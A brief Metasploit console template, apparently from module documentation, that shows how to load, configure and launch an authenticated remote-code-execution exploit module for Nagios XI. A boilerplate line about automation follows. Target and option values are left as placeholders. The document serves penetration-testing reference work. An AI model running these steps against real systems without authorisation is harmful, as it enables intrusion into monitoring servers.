msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
msf exploit(nagios_xi_configwizards_authenticated_rce) > show targets
...targets...
msf exploit(nagios_xi_configwizards_authenticated_rce) > set TARGET < target-id >
msf exploit(nagios_xi_configwizards_authenticated_rce) > show options
...show and set options...
msf exploit(nagios_xi_configwizards_authenticated_rce) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
